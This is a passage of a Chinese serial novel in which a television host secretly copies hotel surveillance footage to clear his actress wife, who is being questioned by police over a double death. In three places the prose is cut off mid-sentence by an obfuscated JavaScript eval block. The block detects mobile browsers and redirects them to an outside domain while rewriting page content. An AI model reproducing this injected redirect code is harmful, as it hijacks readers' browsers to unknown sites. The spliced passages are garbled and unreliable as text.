五年冰冷的时光将他们两人隔得太远,而她工作上的伙伴早已取代了家庭中的丈夫,成为第一时间就能给她帮助的人。 他从未对江知渺说过自己为她做过什么,理由连他自己都说不清,或许只是不希望她心里觉得亏欠自己,让本就难以愈合的隔阂更加深刻。此时此刻,邵聿却第一次产生了怀疑:是不是她其实根本不需要自己的帮助。 那么,他还为什么要来到这里? 手机震动打断了他自暴自弃的混乱思绪,是邵峥的电话。邵聿按下接听键,新的消息又燃起了他的希望。 “找到了,这个IP在D市近郊区的盛景大厦,具体门牌号无法定位,需要进去之后再找。” 对方似乎听到他发动车子的声音,急忙阻拦道:“情况不明,我已经联系了那一片区的警察,你千万不要单独行动。” 17. 释怀 距离《钩沉》第三季收官节目直播正式开始,还有十五分钟。 邵聿步入会场,向到场嘉宾一一问好,缓缓走向会场中央。他刚一站定,头顶追光就倾洒下明亮的灯光,过于强烈的光芒让他不禁眯起双眼,缓了两秒便很快适应过来,抬起头望向前方的摄像机。 “化妆师,化妆师在吗?”邵聿的耳返中传出总导演的声音,“主持人脖子上的伤疤再遮一下,今天的灯光亮度高。” 很快,化妆师便拎着化妆箱小跑过来。邵聿正在翻看自己的手卡,见到化妆师来,熟练地将脖子歪到合适的角度,目光依然落在手卡上。 “聿哥,你这疤都小半年了吧,用不用上医院瞧瞧?我媳妇经常去做美容那家私立医院,据说祛疤技术不错,回头我把地址发你。” 编导魏然跟他合作很久了,平日里关系不错,节目开始前,也习惯了隔着耳返聊上几句,缓解一下直播给大家带来的紧张气氛。 “谢了,得空我去看看。”邵聿仍然没有抬头,专心回顾着手卡上自己标注的细节。 “要我说你就是太拼了!当时你受伤,台长都已经同意第三季延期俩月再播了。你倒好,才休息一周就喊着要正常播出,现在好了,留疤了吧?” “节目预告都放出去了,第二季结束以后反响也不错,总不能让那么多观众都白白等着我。” 邵聿知道魏然说的也是为自己好,毕竟主持人皮肤上有疤痕是个硬伤。半年来,为了掩盖这个疤痕,从化妆师、造型师再到灯光师都费劲了心思,甚至一开始时,他只能用右斜侧方的身位面对镜头。 “人家是为了老婆受的伤,你们这群大老爷们儿懂什么?”李璟意的声音突兀地从耳返里传来,邵聿终于抬起头,凝视着导播室的方向。 “什么?这事儿我还真不知道!”魏然突然八卦起来。 邵聿这边疤痕已经遮好了,他转过身去,背对着导播室,耳返里的讨论声仍然不断地传来。 李璟意高声笑了起来,“就半年前那个Deepfake事件,他比所有警察都先一步抓到伪造视频的嫌疑人。那人本来是想靠AI换脸卖片赚钱,一看事情败露就想逃跑,拿刀架在邵聿脖子上挟持他当人质,这才受的伤。这疤可是象征着爱情,你们就别胡说八道了!” 她这一席话炸出导播室里好多沉默的同事,邵聿摘掉一侧的耳返,想让声音小一点。 “之前问聿哥怎么受的伤,他都没跟我们提过这事儿,你是怎么知道的啊?”魏然看不惯她高傲的样子,反问她道。 “你忘了?这件事是我跟的,警方抓捕嫌疑人的时候我就在现场,可惜邵聿还不让我往外报道。当时他那个血流的……”李璟意故弄玄虚地顿了许久,阴阳怪气地说道:“啧啧啧,被他们夫妻俩的爱情感动咯!” 邵聿的思绪又被她带回了半年前那个惊心动魄的清晨,濒临死亡的恐惧感还不时出现在噩梦里,冰冷的刀刃划破皮肤时的触感至今依旧清晰,早已痊愈的疤痕似乎仍在隐隐发痒,他忍不住就要上手去挠。 “我就说嘛,他们俩英年早婚,都结婚这么多年了,那感情肯定好得不得了。那些狗仔娱记跳出来说人家老婆出轨柏霆宇,简直是胡说八道……” 不知是谁突然说了这样一句话,原本吵吵闹闹的耳返里陡然清静下来。邵聿的手指悬在颈侧的疤痕上,意识到化妆师给自己打了遮瑕,不能挠,于是缓缓地把手臂放了下来。 他转过身,直面数架高大的摄影机。隔着一层玻璃,他看不清导播室的情况,也不想去看。 只等那不言自明的沉默结束,魏然开始倒计时: “五——” 邵聿闭上双眼,深吸一口气。 “四——” 黑暗中,江知渺的身影突然出现在眼前。 “三——” 她左顾右盼,不知道在找谁。 “二——” 邵聿猛地睁开眼,长长地呼出那口闷气,在江知渺的影子消失在眼前时,他终于看清了自己的内心。 “一——” 邵聿抬起头,将每一丝余光都收拢,目光沉静深邃,穿透强烈到模糊视野的白炽光,毫不动摇,专注地看向正前方的摄影机,挂上职业主持人的标准微笑,给醇厚的声线加上几分昂扬: “欢迎大家收看大型历史文化类节目《钩沉》,我是主持人,邵聿。” 硕大的镜头直直地对准他的眼睛,邵聿从未感受到如此踏实,长时间的紧张、疲惫、焦虑通通神奇地一扫而空。 他听到自己的声音从耳返里缓缓流出,恰到好处的语速,给本就富有感染力的音色增添了几分光彩。嗓音放开的一瞬间,他看到嘉宾们随之不自觉放松的神色,嘴角都扬起了微笑。 邵聿曾经梦想用这个声线播报新闻,传递国家大事,剖析社会民生,揭露黑暗阴影;而现在,他是国立电视台综合部的主持人,谈的全都是风花雪月与历史人文。 不过没关系,他在刚刚闭上眼获得的短暂宁静中,再次回到了江知渺来电视台接他下班的傍晚。 他如此贪恋那个画面,甚至想要用剪刀从漫长的时间轴上切下来珍藏。他所追寻的一切意义在那个场景面前都显得索然无味,因为江知渺的出现,飘荡无依的人生好像终于找到了自己的落脚点。 邵聿现在才意识到,几乎是在看到江知渺出现在电视台的一瞬间,自己就原谅了她。凌乱的现实,连带着过往种种,全都烟消云散。 柏霆宇死后第二天,他的父母冲到家里责问江知渺时,邵聿还以为,自己这辈子都迈不过这个心结。 营销号上,他们二人的故事就像多米诺骨牌,逻辑严密,一环扣一环,只要推倒其中一块,就会被全部淹没。 邵聿看了一整夜。 他这才发现,自己在阴影中藏匿了太久,她的故事里早就没了他的位置。 他妒忌、猜疑、愤怒到快要发狂。他无法控制自己去联想,想象这个对自己冷淡至极的江知渺,在柏霆宇面前有多么生动,他们会聊什么,会做什么,会一起经历什么,灵魂该有多么契合。 那天的红毯活动前,他曾经拥有如今却再难触碰的她的肌肤,就如同狼群面前的羔羊,袒露在礼服之外,暴露在他的眼前。他忍不住去肖想、去接近、去制造接触。可他又忍不住去想象,她这样不设防的模样,那个死去的男人是否也曾拥有? 他有用指尖拂过她的背沟吗?他的指节有磕到过她突起的肩胛骨吗?他的体温他的心跳有与她同步重叠过吗? 邵聿故意伸出援手,去帮她扣好礼服拉链,却又恶劣地放慢了速度,好像在她每一寸肌肤上占有的时间足够长,就能够抹去其他人存在的痕迹。 不过现在,邵聿终于看清了自己的内心,那些他以为永远无法忘怀的,其实早就被他毫无理性地甩进了垃圾焚烧炉里。 江知渺,我希望你的眼睛,只能看到我一个人。 “江女士,今天请您过来,是想再了解了解案发当天的具体情况。” 封闭逼仄的审讯室里,柏霆宇一案的主办警官马政阳和周屹泽坐在桌子一侧,在他们对面,江知渺无奈地摇了摇头。 “我已经说过了,那天我根本就没有见过他,我什么都不知道,为什么还要向我了解情况?你们查了快两周,还是什么都查不出有用的证据吗?” 《流年似水》停拍后,江知渺前脚刚回到家中,后脚就接到了警察的电话。她马不停蹄地赶来配合调查,本以为有了新的进展,却不想警方的关注还在她的身上。 听了她的抱怨,马政阳却没有生气,反而对她和蔼地笑着。他年过四十,长期熬夜办案导致的过劳肥使他看上去毫无攻击性,宽厚的脸上笑出细纹,像一只圆润的包子。 他随手理了理稀疏的头发,身体向后靠在椅背上,“江女士,我知道您的工作十分繁忙,我们也很感谢您能够抽出时间来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617008|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配合我们调查。只是此案涉及一男一女两条人命,我们的职责便是要保护人民群众的人身和财产安全,因此也必须格外慎重,这一点还请您理解。” 他的话虽然没有什么实际内容,可滴水不漏的逻辑还是让江知渺不得不放下负面情绪。她翘起腿,脸扭向旁边,不情愿地点了点头。 “既然江女士愿意配合,那我们就不兜圈子了,直接开门见山:案发当晚,VeilMansion的消防警报响起时,你在哪里?” “我在楼梯间。” “具体是几层?” “三层。” “然后你去了哪儿?” “我直接下楼离开了。” “也是走步行梯下楼吗?” “对,消防警报响了,我只想快点离开,难道还要绕一圈去坐电梯吗?” 这些问题早在案发当晚的讯问中就已经问过许多遍,江知渺渐渐有些不耐烦。 “当时你从楼梯下到几层?” “地下二层吧。” “为什么不从一层大厅撤离,那里距离室外最近。” 江知渺轻笑道:“如果你们不记得了,那我提醒一下:我是位女演员,正巧还有一点知名度。消防警报一响,整个酒店的人都会往外跑,难道要让所有人都看见我吗?” “你为什么不希望别人看到你出现在VeilMansion?” 江知渺正襟危坐,环抱在身前的双手重重地落在桌面上,身体也跟着向前倾,死死地盯着马政阳的眼睛,“因为,人们看到一个女人出现在酒店,就会像你们一样,产生这些歪曲的揣测。” 马政阳身旁,一直没有说话的周屹泽,停下记录的手,抬起头看向她。她的嘴角还挂着一丝艳丽的笑意,眼神却冰冷得可怕。 马政阳同样目不转睛地看着她,在对视中丝毫不落下风。十几秒后,他突然大笑起来,“既然这个问题解决了,那我们进入下一个问题。” 说着,他从文件夹中拿出一张照片,“这个人你见过吗?” 巴掌大的半身证件照上,一个二十出头的年轻男人对着镜头笑得十分拘谨。 他留着板正的寸头,穿着一身整齐的墨蓝色制服,只不过尺码对他来说偏大,显得肩宽与头颅不大协调。 江知渺看了两眼,把照片推回去,“没印象,看制服上的logo应该是VeilMansion的门卫吧。” 马政阳赞赏似的点了点头,“你的记性不错,他是VeilMansion地下车库出口的门卫。” 江知渺不置可否,视线在马政阳和周屹泽的脸上扫了一圈,“怎么,他是凶手?” “他看到你从地下车库的出口跑出来。”周屹泽抢在马政阳之前,回答了她的问题,眉眼间有些凝重。 “不如你来解释一下,为什么要跑?”马政阳忽然收起了慈祥的面孔,严肃地质问道。 “我为什么要跑?”江知渺仿佛听到什么可笑的笑话,忍俊不禁道:“消防警报响了,说明有火灾发生,你问我为什么要跑?” 话音未落,马政阳迅速接上下一个问题:“据目击证人提供的线索,当时你跑的速度非常快,几乎是在,逃跑。” “遇到火灾,尽快远离危险,这也有问题吗?” “但你为什么到达室外安全地带之后还在跑!” 马政阳的一声怒吼,让桌子都在震动。江知渺瞬间屏住了呼吸,望着他那双因愤怒而瞪圆的眼睛,一时间忘记了任何动作和话语。 对方接下来说的话像是飘在空中的柳絮,萦绕在她的耳廓,却不能钻进她凝固住的大脑。 “门卫告诉我们,从地下车库出来后,你并没有停下脚步,而是一直在跑,跑到他看不见你的背影。” “江知渺,你为什么要逃跑?” “酒店里究竟发生了什么,让你不顾一切地想要逃走?” “人,是不是你杀的?” 18. 调查 “不好意思,我来晚了。” 沉重到窒息的审讯室里,三个互相凝视的人循着声音看向门口,一个西装革履的男人提着公文包,阔步走了进来。 他礼貌得体地微微鞠躬,从公文包里掏出律师证,摊开放在两位警察面前,“您好,我是江知渺女士的律师,杨灝。” 说完,他大大方方地从角落拉过一把椅子,坐在江知渺身边,“我的客户今日已经配合完你们的调查,如果没有确凿的证据能够证明她是犯罪嫌疑人的话,我们就先行离开了。” 马政阳从律师证上抬起头,又带上了一贯和善的笑容,“杨律师,调查尚未结束,江女士还没有回答我们的问题。” “据我了解……”杨灝抓起自己的律师证,放回公文包,正色道:“江女士不是犯罪嫌疑人,你们无权强行讯问。” “有证人证实,她在案发后形迹可疑……” “难道一个根本不在案发现场的人、随便的一句话,就是你们限制人身自由的依据吗?”说完,杨灝向江知渺挑了挑眉,示意她一起站起身来。 在动身前,他向马政阳最后留下一句话:“在你们掌握确凿可靠的证据前,请不要再随意打扰我客户的正常生活。” 马政阳紧跟着他们站起来,伸手想要阻拦,张了张嘴,却找不到任何反驳的余地,只好眼睁睁地看着他们二人离开审讯室,把手中的笔记本摔在桌子上,“唉……” 他们刚刚离开,一个身着警服的女警就推开了审讯室厚重的铁门。见马政阳和周屹泽心事重重的样子,她悄然走到他们身后,拍了拍他们的肩膀,“嘿!这就灰心了?” 周屹泽还沉浸在刚才的讯问中,细细回想着江知渺面对质问的神情,被人冷不丁拍了一下,噌地站了起来,还带倒了座下的椅子,木质椅子与地面发出巨大碰撞声,在寂静的审讯室里回响。 “什么灰心啊,你师父我是烦心!好不容易要问出真话了,得,一下午白干!这案子什么时候才能办结啊……” 马政阳痛心疾首地拍着她的肩膀,“小许啊,师父要专攻这个案子了,其他未结案只能靠你和小周了。” “马哥!”许昭清秀的眉毛立刻拧紧了,双手叉腰,“你没办完的案子卷宗连起来都能绕地球两圈了!” “啧,怎么跟师父说话呢?师父这是专心研究重案要案,给你们一个独立办案锻炼的机会。” “这个案子也没见你花多少心思啊……”许昭跟周屹泽小声嘀咕道。 “嘿,小兔崽子,别以为我不敢打你……”马政阳气冲冲地挽起袖子,周屹泽急忙去拉架。 许昭作势还要迎上前去,嬉笑着说道:“打就打,把我打跑了,你自己去查柏霆宇的家庭关系!” 听到这个名字,马政阳瞬间顿住了,脸色立即严肃起来,“你查到了?” 许昭刻意地重重点了点头,把抱在怀里许久的文件夹甩给他,“笑话,有什么是我许大小姐查不到的?” 马政阳翻开文件夹,里面一张单薄的纸飘然掉落,周屹泽急忙去捡,牢牢地握在手里,三个人同时凑了上去。 这是柏霆宇的个人信息表,与他在网络上各种传得沸沸扬扬的绯闻不同,在这张纸上,他的生平简单到令人难以置信,A4纸面空白的区域远远大于有字迹的部分。 柏霆宇,男,24岁,青年男演员,籍贯N省,父母是N省石禾村的农民,独生子,中专学历,曾辗转在多个省市的工地、餐厅、酒吧打工。这些都是警方在案发第二天就掌握的信息,与他对外宣称的身世和家庭背景截然不同。 在娱乐圈内,他的父母在意大利做编剧和制片人,而他从小在意大利长大,毕业于意大利国立艺术学院,二十一岁回到中国,精通中、英、法、意四国语言,自带浪漫多情的气质。 最开始,许昭还为这个震惊崩溃了好几个小时,所有年轻女孩心目中的完美男人居然都是假的,让她备受打击。 不过现在,他们已经对这些信息毫无波澜,真正让周屹泽发出惊呼的,是家庭成员一栏,在父亲、母亲之下新增的第三行。 “他结婚了?!” 四只眼睛齐刷刷地看向许昭,得到她肯定的眼神后,又齐刷刷地瞪大了双眼。 “我刚从他老家石禾村回来,跟那边的老人聊了一下,他们说他十七岁就跟同村的一个女孩结婚了,没到法定结婚年龄,所以只是办了酒,也没领证。俩人一起去外面打工,大概是三年前吧,他老婆一个人回到石禾村,别人问她柏霆宇在哪儿,她也只说是在大城市里打工。” “你见到他老婆了吗?”周屹泽问她。 许昭摇了摇头,叹息道:“村里的人说,已经快一个月没见到过她了,也没人有她的电话号码。” “姓名呢?系统里查过了吗?”马政阳指了指信息表上“配偶”之后的空白。 “村里都管她叫程二囡,系统里没查到。她父母亲戚走的走死的死,兄弟姐妹也都早早嫁人或外出打工了,联系不上。而且我估计她是黑户,根本就没录入过系统。” “这下可难办了啊……”马政阳习惯性地摸了摸兜,想要掏支烟来抽,却摸了个空,这才想起早上出门前媳妇刚把他的烟都没收了,训斥说他去年刚做的心脏搭桥手术,再抽下去非得死外头。 许昭沉重地坐在审讯室的椅子上,胳膊架在桌面,双手托腮,发出一声长长的哀叹,“唉,你们说他都结婚了,还跟那么多女演员女网红光明正大地谈恋爱,居然还有这种人,他老婆也太惨了吧……” 马政阳焦躁地拈着信息表的一角,盯着表格右上角柏霆宇的照片出神。过了许久,沙哑的声音缓缓响起,“查,一定要把她的身份查出来。” “……聿哥。” “聿哥辛苦了!” “聿哥,你今天也太帅了!” 邵聿摘下耳返,穿过摄影机和各种设备,忙着收拾的同事纷纷和他搭话。他微笑着回应,与一只只伸出的手击掌。 “大家都辛苦了!时间不早了,今晚我请客,地址发到群里了,有想一起过去的可以找刘恪辰订车。” 阵阵欢呼声被他甩在身后,邵聿来不及为《钩沉》第三季成功收官而欣喜,借着收工的混乱,步履匆匆地离开会场,走进电梯。 电梯带着他从三十层一路向下,快速降落的高度差令他的耳膜发胀,朦胧中只听“叮”的一声轻响,电梯门打开了,迎面灰白的墙壁上用鲜红的油漆写着“B3”。 地下三层是功能设备间,不对外营业,装潢也比楼上要简陋许多,巨大的反差让人有些恍惚,仿佛从金碧辉煌的宫殿进入了贫民窟。 惨白的灯泡将空无一人的狭窄通道映照得更加冷清,仅供一人通过的走廊两侧是一间接一间的设备间,各种机器设备同时运转,发出夏蝉般低沉单调的嗡鸣声。 邵聿放慢脚步,轻声穿过走廊,悄无声息地来到走廊尽头,“监控室”的标牌挂在门上。 “叩叩叩。” 随着他轻敲房门,一个哈欠连天的保安打开了监控室的门,他上下打量了一番,“有什么事吗?” “师傅,打扰您了,我是国立电视台的主持人,邵聿,今天租用了三十层的会场。” 听到他的名字,男人精神起来,眯眼仔细看了几秒,恍然大悟似的说道:“哎呦,还真是邵聿啊!您好您好,我们全家都很爱看您主持的节目!” 邵聿颔首微笑道:“谢谢,能得到观众的喜爱是我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633799|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荣幸。” 保安将他请进监控室内,热情地询问他的来意。邵聿先是向他鞠了一躬,然后才开口说出此行的目的:“我在彩排时曾经用过一个话筒,收工时发现找不到了,我也记不清自己放在哪儿,想调监控看一下。” “小事,这好办,我帮您调出来。具体是几点丢的您还有印象吗?” 邵聿认真地盯着他在电脑上每一步操作,摇了摇头,“我也不记得什么时候那支话筒就不在我手上了,只记得早上八点彩排时我还用过。” “这样啊……”保安思考片刻,豁然地笑了,“那我就给您调到早上八点开始吧,您可以八倍速来看,3001至3025这几个文件夹都是会场的监控,需要找哪个角度的您随便点开看。” “多谢师傅。”邵聿坐在电脑屏幕前,点开一个视频存档看了几分钟,像是突然想起什么,转过头刚好看到保安在打哈欠。 “师傅,这么晚还来打扰您,真的很不好意思。我们在会场准备了茶歇,也有咖啡和茶,我让同事给您拿下来一些吧。”说着,他拿起手机就要打电话。 “诶诶诶,您这是哪儿的话,太客气了!这也是我的工作职责嘛!”保安咧着嘴笑了笑,话音还未落,又打了个哈欠。他自己也有些不好意思,尴尬地挠了挠头,邵聿见状,坚持要给同事打电话。 “不用麻烦了,我自己上去取吧!”保安受宠若惊地拦住他。 “怎么能让您亲自跑这一趟呢?师傅,您不用跟我们客气,现在我们的节目已经做完了,不麻烦。” “邵主持,您的好意我都收到了,只是从这监控里我也看得见,你们从一大早忙到晚上十一点,现在还在收工,打扰了你们的工作,让领导知道也会骂我的。这样,我自己上去,监控室这边您自便。” 不等他再劝说,保安直接开门走了出去,只留邵聿一个人面对着监控室大大小小几十块屏幕。 他操纵鼠标迅速地关掉今天的监控视频,拉动长长的文件列表,直到储存最早的视频,点开后显示时间为:2025年8月13日0:00。 柏霆宇和网红身亡的时间是8月12日凌晨,根据目前警方的调查结果,案发当晚VeilMansion有人拉响了消防警报,曾进入五分钟短暂的停电状态。随后,全部的监控视频都因系统电力中断而储存失败了,如今能够看到的都是案发第二天系统维修后才开始录制的。 虽然没有案发当时的监控视频,但邵聿依然不愿意放过可能留存的线索。他从兜里掏出早就准备好的硬盘,接到电脑上,选中自8月13日至今的全部视频,复制到硬盘中。 VeilMansion上上下下几百个监控点位,视频总量巨大,弹窗显示复制时间超过二十分钟,邵聿时不时回过头看一眼监控室的门,手指焦虑地在键盘上轻敲。 他选择VeilMansion作为收官节目的拍摄地点,很大程度上也是为了自己的私心:他想知道,那天晚上在这座高级酒店中,究竟发生了什么。 知名主持人私自拷贝监控视频,这是一件风险巨大的事情,若是被人发现,他的职业生涯恐怕就完了,甚至还有可能背上官司,连带着江知渺身上的怀疑都要大大增加。 时间一分一秒的过去,精心挑选的大容量移动硬盘快速运转,发出刺耳的机械噪音,让邵聿的心底更加焦躁。 28分钟、27分钟、30分钟…… 屏幕上显示的剩余时间反复跳动,他从未觉得时间是如此的漫长。 8分钟、7分钟、6分钟…… 逐渐变小的数字让邵聿的心慢慢放回到原处,5分钟,正当他为这个新的数字感到激动时,监控室的门突然“咔哒”一声打开了。 19. 交换 “我就知道你肯定在这里。” 邵聿僵硬地扭过头,发现李璟意正站在监控室的门口,幸灾乐祸地笑着,双手随意地插在兜里。 “你来做什么?”他冷冰冰地问道。 “当然是来抓你的现行咯。”李璟意关上门,一步一步向他走过来,高跟鞋磕在瓷砖上,清脆的声音在死寂的监控室内发出瘆人的回响。 邵聿的手心瞬间冒起一层冷汗,但他仍然保持着一如既往平静和沉着的神态,若无其事地站起身来,用身体挡住桌上根本来不及藏起来的移动硬盘。 “行了,别掩饰了,从你提议来VeilMansion做收官,我就知道你肯定是要偷偷调查你老婆的案子。” 李璟意的目光瞟了瞟他身后的电脑屏幕,轻笑一声,挑起眼角,戏谑道:“我还以为,邵大主持人有什么高超的调查技巧呢,原来就是来偷监控啊?” “李璟意!”邵聿瞪着她,冷冷地甩出一句:“你什么意思?” 她悠闲地拉走邵聿刚才坐过的折叠椅,悠闲放松地坐在上面,一只手搭在简陋的扶手上,另一只手撩了撩耳后的短发。 “啧啧啧,国立电视台文化类主持一哥,未经允许私自拷贝妻子涉案酒店的监控视频,哇——”她意味深长地顿了顿,“这个头条,一定可以帮我坐上黄金时段新闻主播的位置吧?” 邵聿压抑着怒火,深深地吸了一口,一字一句问道:“你到底要做什么?” 假如真的是想让他上头条,李璟意早就举着直播摄像机,拉着全台的同事来监控室抓他了;如今她只身一人前来,没带摄像机,没带录音笔,一脸的胸有成竹,邵聿知道她一定在琢磨其他伎俩。 果然,欣赏完他吃瘪的样子,李璟意慢条斯理地开口了,“你拷贝的视频,我要先看。” “不可能!”邵聿斩钉截铁地回敬道。 “还有”,李璟意摆摆手,丝毫不理会他的反对:“以后你们综合部邀请的嘉宾,我都可以做访谈。” 这完全是狮子大开口了,综合部花费人力物力财力邀请来的嘉宾,李璟意想要不费吹灰之力就分一杯羹。邵聿的气息剧烈起伏着,双眼愤怼地瞪着她。 这样暗流涌动的对峙让他忽然回想起五年前,两人纷纷从午间新闻主播的竞争中败下阵后,重新分配工作时,李璟意也是这样,在他到综合部报道的第一天,冲进综合部为他举办的欢迎会现场。 “凭什么他能有自己的节目,我就要回新闻部继续做记者?” “就因为他是男的吗?” ……她咄咄逼人的问题很快就引来了无数围观同事,无异于当众把邵聿和综合部主任架在火上烤。直到有人向副台长报告此事,在副台长的要求下,她才不情不愿地离开综合部。 邵聿不知道副台长和她的谈话内容,此事就这样被轻飘飘地揭过,李璟意没有受到任何责罚,他和部长也没有收到她的道歉,只是他和李璟意的关系愈发恶化,已经到了水火不容的地步。 不过,他不得不承认,即使和李璟意的关系剑拔弩张,可她的专业水平毋庸置疑。进入监控室后寥寥几句话,就说中了他的痛点。 他不怕被人发现私自拷贝监控录像,也不担心被人曝光偷偷调查刑事案件。他本身也是记者出身,又一心向往成为新闻主播,对于社会现象的关心,反而可以说成是新闻人的职责所在。 然而,他所暗中调查的,是他的妻子被视作最大嫌疑人的杀人案,无论如何邵聿也不想牵连出江知渺来。 李璟意得意地靠在椅背上,好整以暇地等待他的回复,似乎确信他一定会接受自己的条件。 “好,我答应你。”邵聿艰难地点了点头。 她终于露出了开怀的笑容,缓缓站起身,故作艳羡道:“邵主持对妻子还真是……一往情深啊。” “一周,给你一周时间,一周之后必须还给我。”邵聿没好气地夺过自己的折叠椅,端正地放回到电脑前,屏幕上显示着倒计时一分钟。 “好啊,足够了。” 李璟意凑到电脑前,想看看文件,她刚从邵聿手中夺过鼠标,突然,他们身后传来“吱呀”一声,随即响起一个大嗓门:“哎,你是谁啊?” 两人同时看向门口,惊讶地发现,那个原本在监控室值班的保安大哥,居然已经回来了! 邵聿面不改色,大脑却开始快速地运转,想要找一个合适的理由,解释李璟意为什么在这里,以及自己为什么要拷贝监控,同时将手背到身后,悄悄往桌面的杂物堆里推了推移动硬盘。 “哎呦,师傅,给您添麻烦了!”李璟意突然开口,嗓门比平时要大上不少,邵聿站在她身旁,被她异常的音量吓了一跳。 只见她飞快地朝自己使了个眼色,目光落在桌面上一瞬,就迎着走向保安大叔。邵聿明白了她的意思,移动硬盘在拷贝视频的过程中持续发出机械运转的噪音,在这间安静的小屋里太过明显。 李璟意将额前的碎发随手别到耳后,笑得格外灿烂,还没走到保安面前,先深深地鞠了一躬,“我是国立电视台的记者,李璟意,刚才在楼上准备节目的时候,不小心弄丢了一对耳环。这不,想来监控室看看自己放在哪儿了,正巧遇上同事,就跟他一块儿查录像。真是给您添麻烦了,非常抱歉!” 保安一听也是电视台的人,先是自己默念了一遍她的名字,而后抬起头,冲她憨厚地咧开嘴,“没事没事,这也是我的工作嘛!诶,那你们找到了吗?楼里摄像头多,要是不好找的话,您尽管开口,我帮您调视频!”说着,他就要绕过李璟意,往电脑前面走。 “快了快了!”李璟意蹭地一下拦到他面前,堆起笑意,“我的耳环已经找到了,看了监控才发现我是随手放在主舞台旁边的桌子上面了。邵哥的应该也马上了,刚才我们把他去过的绝大多数地方都查了一遍,马上,马上就能看完了!” “找到了就好,要是真弄丢了可麻烦着呢。记得是三年前吧,我们这儿有个客人,看着也就刚成年的一个小姑娘,住了一晚上,退房之后她姐姐还是妹妹来着,找过来,非说她戴着那五百多万的珠宝被偷了!” “啊?五百多万!那怎么办?”李璟意夸张地瞪大了眼睛。 “害,还能怎么办呢,找呗。真是把整个酒店都翻了个底儿朝天,监控我们都得一帧一帧的看!” “后来找到了吗?” “说来也奇怪,到最后也没找到,那个姑娘的家属后来也没再追究了。” “也许是……在别处找到了?”李璟意一边假意应和他,一边用余光去看两侧黑屏上的反光,邵聿的身影模糊地投射在漆黑的屏幕上,正在小心翼翼地将移动硬盘收进西服里侧。 “说不好,这些有钱人的事情,我一个平民百姓也搞不懂。”从李璟意侧身让开的空隙里,他看到邵聿从电脑前站起身来,于是热情地走上前去问道:“邵主持,话筒找到了吗?” 邵聿感激地握住他的手,不住地点头,“找到了,找到了,原来是被我放进工具箱里了,您真是帮了我大忙了,谢谢!太感谢了!” 一番寒暄过后,邵聿和李璟意离开监控室,踏进电梯。邵聿的眼前,突然伸出一只手来。他不用想也知道,李璟意是来要移动硬盘的。 他长叹着将手伸进西装内侧的口袋里,手指摩挲着硬盘的边缘。电梯缓缓上行,他始终下不了决心。 “是你把监控视频给我,还是我把你偷录像的事情告诉台长,你自己看着办。”李璟意的手举得有些酸了,不耐烦地说道。 随着电梯停在三十层,李璟意走出电梯厢,有意无意地拍了拍外套衣兜。邵聿的目光也一直锁定在那里,布料下隐约能够看到一个明显的方形轮廓。 “聿哥,你终于回来了!”刘恪辰从另一侧走过来,路过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651365|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电梯间时,急急忙忙地叫住他,“聚餐马上开始,就等你到位了。”他拉着邵聿的手臂,顺势要走进电梯,拉了几下都没拉动,这才觉得奇怪。 邵聿的脸色阴沉,双眼里暗藏着隐忍难辨的复杂情绪,低沉冰冷的声音似有暴雨将至,闷雷将近,刘恪辰还没见过自己的师傅这幅令人畏惧的模样。 “恪辰,接下来三天,你的一切工作暂停,我给你放假。” “啊?”刘恪辰一头雾水,搞不清邵聿的用意。 “去打听出,李璟意从酒店的监控视频里,都发现了什么。” “又要我做间谍?”上次从伍旸那里套出他们要请冯教授做访谈,就已经让他的内心非常对不起这位好兄弟了。刘恪辰一时没忍住,将心里话脱口而出,说完了才意识到不对,猛地捂住嘴巴。 不过这句话还是被邵聿听见了,他面无表情地走进电梯,按下关门键,站到正中央,面对心惊胆战的实习主持,留下一句:“你等下一趟吧。” 电梯门关闭前,他的声音从缝隙中幽幽传来:“要是到餐厅比我还晚,今天的聚餐你来结账。” 停拍五天后,《流年似水》剧组恢复了正常拍摄。修导和制片人邀请另一位童星,来饰演女主的学生时代,紧急填补了原定小演员无故罢演的空缺。 为了追赶进度,开工的时间被提前不少,江知渺天还没亮就坐在了化妆间里。七点正式开拍,剧组的工作人员也已经就位,忙着调试设备,布置现场。她坐在休息区冉然准备好的椅子里,困得睁不开眼,有一搭没一搭地瞟着手里的剧本。 “知渺姐,早啊!”一个活泼娇俏的女声打破了沉寂萎靡的清晨,仿佛自带魔力,唤醒了所有沉睡的生物。 楚妍姝穿着得体的白大褂走过来,与她所饰演的女二号的形象非常匹配,善良而温柔,如雨过生茵。 